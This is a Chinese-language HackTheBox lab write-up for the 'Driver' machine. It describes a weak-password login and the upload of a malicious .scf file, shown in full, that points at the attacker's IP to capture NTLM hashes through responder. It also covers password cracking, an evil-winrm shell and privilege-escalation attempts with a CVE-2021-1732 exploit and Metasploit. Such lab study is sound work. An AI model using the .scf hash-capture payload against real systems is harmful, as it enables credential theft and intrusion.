HackTheBox | Driver

Driver

nmap扫描,开放80、135、445

image-20220808145453806

访问80,提示要求登录

image-20220808145525153

使用弱口令admin/admin成功登录,来到如下页面

image-20220808145602634

http://10.10.11.106/fw_up.php页面能够上传

image-20220808145713532

尝试上传了个php,上传成功,但是找不到上传之后的路径。

参考wp,利用了强制NTLM请求,模拟用户操作从而获得用户hash。方法可参考https://www.secpulse.com/archives/158433.html

创建一个scf文件

[Shell]
Command=2
IconFile=\\10.10.14.3\nc.ico
[Taskbar]
Command=ToggleDesktop

本地开启responder监听,然后将文件上传上去

随后收到了tony的NTLM请求内容

image-20220808153823590

爆破,得到tony用户的密码

image-20220808154100654

evil-winrm命令执行,拿到tony的shell

image-20220808154218209

查看操作系统版本,systeminfo被禁了,找了powershell中查看的方法,得到操作系统版本是win10

[System.Environment]::OSVersion.Version

image-20220808154748669

尝试了https://github.com/KaLendsi/CVE-2021-1732-Exploit没有成功,直接上msf

image-20220808170912033

探测可用的提权

image-20221011163454049

使用exploit/windows/local/ricoh_driver_privesc进行攻击,曾经成功过,后来没有成功过。

image-20221011174337982

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值